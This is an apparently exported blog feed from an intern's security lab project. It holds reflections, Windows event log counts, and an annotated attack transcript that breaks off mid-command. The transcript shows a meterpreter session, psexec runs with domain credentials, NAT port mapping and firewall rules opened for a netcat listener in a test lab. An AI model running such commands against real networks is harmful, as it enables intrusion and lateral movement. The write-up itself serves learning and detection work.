<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4050993377161104768</id><updated>2011-07-30T10:22:35.733-05:00</updated><title type='text'>SimWitty Internship</title><subtitle type='html'>This blog will track my progress as I work on my internship with the SimWitty project (www.simwitty.org).</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-5185817337271934190</id><published>2010-04-23T11:58:00.002-05:00</published><updated>2010-04-23T12:47:15.532-05:00</updated><title type='text'>SimWitty Internship: Week 15</title><content type='html'>&lt;span style="font-family:verdana;"&gt;Well, this week wraps up my pentesting work for Simwitty. I have had a great time doing this work and I have learned quite a bit. In my classes we did some cursory overviews on pentesting, but never delved into it too deeply. This internship has really opened my eyes to the work that is involved in creating a successful penetration test. I think I made some hits and some misses which I would like to point out here.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;Hits&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I learned a huge amount about the Metasploit Framework and its capabilities.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I became more familiar with Windows PowerShell and it's use in automating tasks.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I was enlightened by having to think of all the various aspects of a system that would be changed by nefarious activity on the machine, and thus need to be monitored.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I became somewhat familiar with Microsoft SQL Server; how to set it up and work with it.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I learned quite abit concerning virtual machines and networks; what type of communication is possible, how it can be monitored.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I got to work on a project with professional people and feel like I made contributions to that project.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;Misses&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I was overambitious on what I could do in a given time frame and the monitoring aspects of the lab suffered for it.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I should have set up Snort to use output alert_full along with the database output. My SQL skills are limited (at this point) and I couldn't view the database entries in any way that made sense.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;Installing IIS on srv-snort was a waste of time since I didn't have time to investigate it.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I used the database capabilities of Metasploit to organize and keep track of all the attack sessions but once again I don't know how to turn information in a database into usable information.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I should have installed something like the Dradis framework to keep better track of what I was doing and what were the results.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;Every attack should have been correlated with information showing that it was either detected or not detected. I didn't set my lab up to properly do this.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;I should have started off by finding a 'pentesting checklist' and adapted it to my lab. Why reinvent the wheel?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:verdana;" &gt;Final Thoughts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;I think there are a lot of directions that an internship like this could take in the future. My lab was focused on client side attacks and pivoting, but I didn't really have time to investigate the pivoting aspect closely enough. That could be the target of a future internship. My attack was extremely noisy and obvious, perhaps someone could adapt it by concentrating more on stealth. An internship could possibly be done on creating a 'toolkit' for use once you have breached a host. I installed some programs but they were obvious and the installation was painful, can we use automation for toolkit installation? The lab network could be created with a "treasure" embeded somewhere within, and the intern's job is to go "treasure hunting". It would also be good to somehow tie in this lab setup with the actual Simwitty appliance, but this may be pushing resource usage on an interns machine.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;I think that my lab setup (&lt;a href="http://www.simwitty.org/redmine/attachments/123/Install-Setup.doc"&gt;and documentation of it&lt;/a&gt;) could possibly aid future interns by reducing the time for planning and install. They now have a blueprint to follow (and improve) so that they can spend more time actually doing work within the lab environment. Finally I want to say thank you to everyone involved with Simwitty. Time is precious and the fact that you all give up some of yours to make this project work is praiseworthy. I have had a great time working on this project and hopefully can continue to be a contributor once the job issue is taken care of.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-5185817337271934190?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/5185817337271934190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-15.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5185817337271934190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5185817337271934190'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-15.html' title='SimWitty Internship: Week 15'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-5533607786259431980</id><published>2010-04-19T00:16:00.002-05:00</published><updated>2010-04-23T11:57:49.637-05:00</updated><title type='text'>SimWitty Internship: Week 14</title><content type='html'>&lt;span style="font-family:verdana;"&gt;Monitoring is definitely the hard part. There is so much to watch on just one system, To name just a few examples:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;File system changes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Account/Group changes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Directory service changes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Registry changes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Running processes/services&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Now multiply that by the number of systems on the network and you have a real nightmare on your hands. The need for a Security Information Management System is pretty apparent. On my systems, I could see file system changes and account changes, etc. pretty easily. I doubt this would be the case on production systems where all kinds of activity is taking place.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Some clues that bad things were going on was fairly obvious: psexec is plainly visible in the system event log on srv-DC, it logs every time it starts or stops, but no information regarding what it was doing. Netcat all of a sudden showed up in the %SystemRoot% on srv-DC, Directories were added to C:\Program Files on wks-XP1, etc. I'm sure that the new event logging system on the Server 2008 OS is much better, the key is being able to find what you need among all the information. The following shows counts and types of activity in just one attack session from the two servers:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;srv-DC&lt;br /&gt;ID&amp;nbsp;&amp;nbsp;&amp;nbsp;Task&amp;nbsp;Cat.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Occurrences&lt;br /&gt;------------------------------------------------------------------------------------------------------------&lt;br /&gt;1102&amp;nbsp;Log&amp;nbsp;clear&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;4624&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;360&lt;br /&gt;4634&amp;nbsp;Logoff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;358&lt;br /&gt;4648&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8&lt;br /&gt;4662&amp;nbsp;Directory&amp;nbsp;Service&amp;nbsp;Access&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;br /&gt;4672&amp;nbsp;Special&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;284&lt;br /&gt;4768&amp;nbsp;Kerberos&amp;nbsp;Authentication&amp;nbsp;Service&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;35&lt;br /&gt;4769&amp;nbsp;Kerberos&amp;nbsp;Service&amp;nbsp;Ticket&amp;nbsp;Operations&amp;nbsp;139&lt;br /&gt;4776&amp;nbsp;Credential&amp;nbsp;Validation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;.......................................1190&amp;nbsp;tot&lt;br /&gt;&lt;br /&gt;srv-SNORT&lt;br /&gt;ID&amp;nbsp;&amp;nbsp;&amp;nbsp;Task&amp;nbsp;Cat.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Occurrences&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;1102&amp;nbsp;Log&amp;nbsp;clear&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;4624&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;4634&amp;nbsp;Logoff&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;4648&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;4656&amp;nbsp;Registry&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;4658&amp;nbsp;Other&amp;nbsp;Object&amp;nbsp;Access&amp;nbsp;Events&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5&lt;br /&gt;4662&amp;nbsp;Other&amp;nbsp;Object&amp;nbsp;Access&amp;nbsp;Events&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10&lt;br /&gt;4663&amp;nbsp;Registry&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;4672&amp;nbsp;Special&amp;nbsp;Logon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&lt;br /&gt;4688&amp;nbsp;Process&amp;nbsp;Creation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;26&lt;br /&gt;4689&amp;nbsp;Process&amp;nbsp;Termination&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;27&lt;br /&gt;4696&amp;nbsp;Process&amp;nbsp;Creation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;17&lt;br /&gt;5156&amp;nbsp;Filtering&amp;nbsp;Platform&amp;nbsp;Connection&amp;nbsp;215&lt;br /&gt;5158&amp;nbsp;Filtering&amp;nbsp;Platform&amp;nbsp;Connection&amp;nbsp;&amp;nbsp;45&lt;br /&gt;...................................361&amp;nbsp;tot&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;I'm surprised that I didn't see any process creation/termination events on srv-DC... I thought I had auditing set properly. When I looked closer, I had auditing set in the GPO for the SimWitty OU but it apparently didn't affect srv-DC. I'm not sure if it was overridden by the local security policy or the default domain controller policy or what. I guess I should have been sure I turned auditing on everywhere. It's plain to see why they say one of the biggest reasons for breaches is through simple misconfiguration. The more complex a system is, the harder it is to be sure you have every little aspect of configuration right.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-5533607786259431980?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/5533607786259431980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-14.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5533607786259431980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5533607786259431980'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-14.html' title='SimWitty Internship: Week 14'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-5386415919700429511</id><published>2010-04-14T12:29:00.126-05:00</published><updated>2010-04-18T21:31:51.602-05:00</updated><title type='text'>SimWitty Internship: Week 13 - Addendum</title><content type='html'>&lt;span style="font-family:verdana;"&gt;(NOTE: I apologize for the  screwed up indentation and formatting in the latter part of this post  but the editor for this blog sucks and I don't have time to do all the  html by hand)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;In my last post I noted that I would continue with the attempted compromise for a couple more days. I'm happy to report that I was able to succeed in getting a hole through the gateway firewall and a netcat listener on an internal workstation, thanks to Mark Russinovich and Psexec. The following is an annotated scrollback buffer from the attack machine wks-Matriux:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;/* My scrollback didn't capture everything... this is the tail end of output from ps shortly after a meterpreter session was created */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt; 1780  svchost.exe     x86   0   NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1560  svchost.exe     x86   0   NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; 1976  svhost77.exe    x86   0   NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\svhost77.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Process 1644 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;Channel 6 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;c:\bin\whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;c:\bin\whoami&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;TEST\usr1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0); font-weight: bold;font-family:courier new;" &gt;/* This is the start of my attempts to work with psexec, took a bit of fiddling to get it right. It is important to use the /accepteula argument on first run, or a window pops up that you can't see or respond to. After that, I dont' think it's necessary */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\srv-dc -u usr1 -p usr1 c:\windows\system32\netsh.exe routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-dc -u usr1 -p usr1 c:\windows\system32\netsh.exe routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* I'll leave this first banner in, because Mark deserves credit. I will eliminate the rest though (should have a -q switch?) */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153);font-family:courier new;" &gt;PsExec v1.59 - Execute processes remotely&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153);font-family:courier new;" &gt;Copyright (C) 2001-2005 Mark Russinovich&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153);font-family:courier new;" &gt;Sysinternals - www.sysinternals.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Logon failure: unknown user name or bad password.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start c:\windows\system32\netsh.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\192.168.2.1 -u usr1 -p usr1 c:\windows\system32\netsh.exe routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\192.168.2.1 -u usr1 -p usr1 c:\windows\system32\netsh.exe routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Logon failure: unknown user name or bad password.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start c:\windows\system32\netsh.exe on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\192.168.2.1 -u usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\192.168.2.1 -u usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;Logon failure: unknown user name or bad password.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;PsExec could not start netsh on WKS-XP1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* I finally figured you had to supply the usr name in DOMAIN\user format. I cheated a little since psexec doesn't "pass the hash" I used the real password. I think this is acceptable though, since the attacker already has the password hashes and would probably be able to crack the password. If nothing else, I could have created my own user and supplied the password, added it to the domain admin group, etc. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 whoami&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec \\srv-DC -u TEST\usr1 -p usr1 whoami&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;whoami exited on srv-DC with error code 0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh routing ip nat add portmapping OutsideNIC 192.168.1.188 9999 192.168.2.50 9999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;NAT must be installed first.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;netsh exited on WKS-XP1 with error code 0.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* I am not quite sure why it was telling me this. Maybe because you have to be elevated to run the command, but as you'll see later, it warns me that I am not elevated. */ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;The following command was not found: advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any localport=9999 protocol=tcp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:courier new;" &gt;netsh exited on WKS-XP1 with error code 1.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program files\ps&gt;psexec /accepteula \\srv-DC -u TEST\usr1 -p usr1 netsh "advfirewall firewall add rule name=jah-netcat dir=in action=allow profile=any localip=any remoteip=192.168.1.100 remoteport=any 